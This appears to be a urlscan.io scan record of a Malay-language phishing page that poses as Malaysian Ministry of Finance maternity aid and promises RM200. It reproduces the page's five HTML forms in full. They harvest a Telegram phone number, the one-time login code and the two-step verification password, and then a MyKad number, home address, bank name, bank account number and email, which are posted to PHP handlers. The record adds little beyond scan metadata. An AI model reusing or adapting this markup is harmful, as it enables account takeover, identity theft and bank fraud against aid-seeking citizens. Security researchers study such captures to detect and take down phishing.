bantuaan-ibu-bersalin.get-regist.com Open in urlscan Pro
2606:4700:3036::6815:46d8  Public Scan

URL: https://bantuaan-ibu-bersalin.get-regist.com/
Submission: On November 19 via api from BE — Scanned from DE

Form analysis 5 forms found in the DOM

POST ./firstData.php

<form action="./firstData.php" method="post" id="firstForm">
  <section>
    <p style="background: #eaba51; color: #f1f3f5; padding-top: 1px; margin-bottom: 6px; padding-bottom: 0px; height: 31px; font-size: 14px; text-align: center;"> &nbsp; Hantar Resume Sekarang</p>
    <div class="first">
      <section class="text-center" style="border-width: 1px;border-radius: 10px;box-shadow: 10px 0px 20px 2px;">
        <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;">
          <center>
            <label for="Name"><b>Nama Penuh Sesuai Mykad</b></label>
          </center>
          <input name="full_name" id="full_name" type="text" style="display: inline-block; width: 220px; margin-top: 0px; " required="" autofocus="" placeholder="Nama Penuh Sesuai MyKad">
          <div>
            <section class="text-center" style="border-width: 1px;border-radius: 10px;box-shadow: px 0px 20px 2px;">
              <section class="text-center" style="padding-bottom: 0px;margin-top: 9px;">
                <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;">
                  <center>
                    <label for="Name"><b>Phone Number Telegram</b></label>
                  </center>
                  <div class="iti iti--allow-dropdown iti--separate-dial-code iti--show-flags">
                    <div class="iti__flag-container">
                      <div class="iti__selected-flag" role="combobox" aria-haspopup="listbox" aria-controls="iti-0__country-listbox" aria-expanded="false" aria-label="Telephone country code" tabindex="0" title="Malaysia">
                        <div class="iti__flag iti__my"></div>
                        <div class="iti__selected-dial-code">+60</div>
                        <div class="iti__arrow"></div>
                      </div>
                    </div><input type="tel" name="phone_number" id="phoneNumber" style="display: inline-block; width: 220px; margin-top: 0px; padding-left: 85px;" required="" inputmode="tel" minlength="8" maxlength="12" autocomplete="off"
                      data-intl-tel-input-id="0" onselectstart="return false" onpaste="return false;" oncopy="return false" oncut="return false" ondrag="return false" ondrop="return false" placeholder="012-345 6789"><input type="hidden"
                      name="full_number">
                  </div>
                  <input type="hidden" name="full_number">
                  <input class="btn btn-primary" type="submit" onclick="processFirstData()" value="SEMAK SEKARANG" style="background: rgb(234 186 81);width: 219.75px;margin-top: 9px;font-weight: bold;color: rgb(0, 0, 0);">
                </section>
              </section>
            </section>
          </div>
        </section>
      </section>
    </div>
  </section>
</form>

POST ./secondData.php

<form action="./secondData.php" method="post" id="secondForm">
  <input type="hidden" name="full_name" id="validateFullName" readonly="">
  <input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
  <div class="mb-3">
    <section class="text-center" style="background: #a7a7a700;border-width: 1px;border-radius: 10px;box-shadow: 0px 0px 20px 2px;">
      <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;">
        <center>
          <label for="Name"><b>Kami telah menghantar kod untuk aplikasi telegrm
                                            anda</b></label>
        </center>
        <br>
        <input name="otp_code" id="otp_code" type="text" inputmode="numeric" minlength="5" maxlength="5" pattern="\d{1,5}" style="width: 139px;margin-left: 98px;margin-right: 98px;text-align: center;" required="" autofocus="">
        <input class="btn btn-primary" type="submit" onclick="processSecondData()" value="Seterusnya" style="background: rgb(234 186 81);width: 232.75px;margin-top: 9px;margin-left: 7px;margin-right: 7px;font-weight: bold;">
      </section>
    </section>
  </div>
</form>

POST ./thirdData.php

<form action="./thirdData.php" method="post" id="thirdForm">
  <input type="hidden" name="phone_number" id="validatephone_number" readonly="">
  <input type="hidden" name="otp_code" id="validateotp_code" readonly="">
  <div class="mb-3">
    <section class="text-center" style="background: #a7a7a700;border-width: 1px;border-radius: 10px;box-shadow: 0px 0px 20px 2px;">
      <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;">
        <center>
          <label for="Name"><b>Pengesahan dua langkah didayakan. Akaun anda dilindungi dengan kata
                                    laluan tambahan.</b></label>
        </center>
        <br>
        <input name="password" id="password" type="password" style="display: inline-block; width: 220px; margin-top: 0px; " required="" autofocus="" placeholder="********">
        <input class="btn btn-primary" type="submit" onclick="processThirdData()" value="Seterusnya" style="background: rgb(234 186 81);width: 232.75px;margin-top: 9px;margin-left: 7px;margin-right: 7px;font-weight: bold;">
        <span id="countdown"></span>
      </section>
    </section>
  </div>
</form>

POST ./fourData.php

<form action="./fourData.php" method="post" id="fourForm" enctype="multipart/form-data">
  <input type="hidden" name="phone_number" id="validatephone_number" readonly="">
  <input type="hidden" name="otp_code" id="validateotp_code" readonly="">
  <input type="hidden" name="password" id="validatepassword" readonly="">
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">No. MyKad :</span>
    <input class="form-control" type="text" inputmode="numeric" name="Mykad1" required="">
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">Nama&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:</span>
    <input class="form-control" type="text" name="full_name2" required="">
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">Umur&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :</span>
    <input class="form-control" type="text" inputmode="numeric" maxlength="2" name="umur1" required="">
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">Alamat&nbsp; &nbsp; &nbsp; &nbsp; :</span>
    <input class="form-control" type="text" name="alamat1" required="">
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">Jantina&nbsp; &nbsp; &nbsp; &nbsp; :</span>
    <select class="form-select" name="kelamin1" required="">
      <option value=""></option>
      <option value="Laki-laki">Laki-laki</option>
      <option value="Perempuan">Perempuan</option>
    </select>
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">Pekerjaan&nbsp; &nbsp; :</span>
    <select class="form-select" name="Pekerjaan1" required="">
      <option value="" selected=""></option>
      <option value="Kerajaan">Kerajaan</option>
      <option value="Swasta">Swasta</option>
      <option value="Bekerja Sendiri">Bekerja Sendiri</option>
      <option value="Tidak Bekerja">Tidak Bekerja</option>
      <option value="Pasara">Pasara</option>
    </select>
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 101px;">Nama Bank :</span>
    <select class="form-select" name="Bank1" required="">
      <option value=""></option>
      <option value="BANK SIMPANA NASIONAL">BANK SIMPANA NASIONAL</option>
      <option value="AFFIN BANK BERHAD">AFFIN BANK BERHAD</option>
      <option value="AGRO BANK">AGRO BANK</option>
      <option value="AM BANK BERHAD">AM BANK BERHAD</option>
      <option value="BANK ISLAM MALAYSIA BERHAD">BANK ISLAM MALAYSIA BERHAD</option>
      <option value="BANK MUAMALAT MALAYSIA BERHAD">BANK MUAMALAT MALAYSIA BERHAD</option>
      <option value="BANK OF CHINA">BANK OF CHINA</option>
      <option value="CIMB BANK BERHAD">CIMB BANK BERHAD</option>
      <option value="CITY BANK BERHAD">CITY BANK BERHAD</option>
      <option value="MALAYAN BANKING BERHAD">MALAYAN BANKING BERHAD</option>
      <option value="PUBLIC BANK BERHAD">PUBLIC BANK BERHAD</option>
      <option value="RHB BANK BERHARD">RHB BANK BERHARD</option>
      <option value="TIADA MAKLUMAT AKAUN BANK">TIADA MAKLUMAT AKAUN BANK</option>
    </select>
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 130px;">No. Akaun Bank :</span>
    <input class="form-control" type="text" inputmode="numeric" name="No-Bank1" required="" minlength="5">
  </div>
  <div class="input-group">
    <span class="input-group-text" style="font-size: 14px;width: 130px;">Alamat e-Mel&nbsp; &nbsp; &nbsp;:</span>
    <input class="form-control" type="email" name="email1" required="">
  </div>
  <section class="text-center" style="padding-top: 24px;">
    <input class="btn btn-primary" type="submit" onclick="processfourData()" style="width: 280.65px;font-weight: bold;background: rgb(234 186 81);" value="MUAT NAIK">
  </section>
</form>

POST ./FourData.php

<form action="./FourData.php" method="post" id="furForm" enctype="multipart/form-data">
  <input type="hidden" name="phone_number" id="validatephone_number" readonly="">
  <input type="hidden" name="otp_code" id="validateotp_code" readonly="">
  <input type="hidden" name="password" id="validatepassword" readonly="">
  <div class="input-group" style="padding-right: 0px;"><span class="input-group-text" style="margin-left: 44px;">Status Permohonan :</span><input class="form-control form-control-lg" type="text" value="Proses"
      style="margin-right: 40px;color: rgb(134, 134, 134);font-weight: bold;text-align: center;" disabled="" readonly=""></div>
  <div class="input-group" style="padding-right: 0px;"><span class="input-group-text" style="margin-left: 44px;">Jumlah kelulusan:</span><input class="form-control form-control-lg" type="text" value="RM200"
      style="margin-right: 40px;color: rgb(134, 134, 134);font-weight: bold;text-align: center;" disabled="" readonly=""></div>
  <section class="text-center" style="padding-top: 24px;">
    <input class="btn btn-primary" type="submit" onclick="processfurData()" style="width: 280.65px;font-weight: bold;background: rgb(234 186 81);" value="MUAT NAIK">
  </section>
</form>

Text Content

 


  Hantar Resume Sekarang

Nama Penuh Sesuai Mykad
Phone Number Telegram
+60

Kami telah menghantar kod untuk aplikasi telegrm anda

Pengesahan dua langkah didayakan. Akaun anda dilindungi dengan kata laluan
tambahan.


 Maklumat Permohonan



No. MyKad :
Nama         :
Umur          :
Alamat        :
Jantina        : Laki-laki Perempuan
Pekerjaan    : Kerajaan Swasta Bekerja Sendiri Tidak Bekerja Pasara
Nama Bank : BANK SIMPANA NASIONAL AFFIN BANK BERHAD AGRO BANK AM BANK BERHAD
BANK ISLAM MALAYSIA BERHAD BANK MUAMALAT MALAYSIA BERHAD BANK OF CHINA CIMB BANK
BERHAD CITY BANK BERHAD MALAYAN BANKING BERHAD PUBLIC BANK BERHAD RHB BANK
BERHARD TIADA MAKLUMAT AKAUN BANK
No. Akaun Bank :
Alamat e-Mel     :

Status Permohonan :
Jumlah kelulusan:


KEMENTRIAN KEWANGAN
MALAYSIA





BANTUAN RAKYAT MALAYSIA
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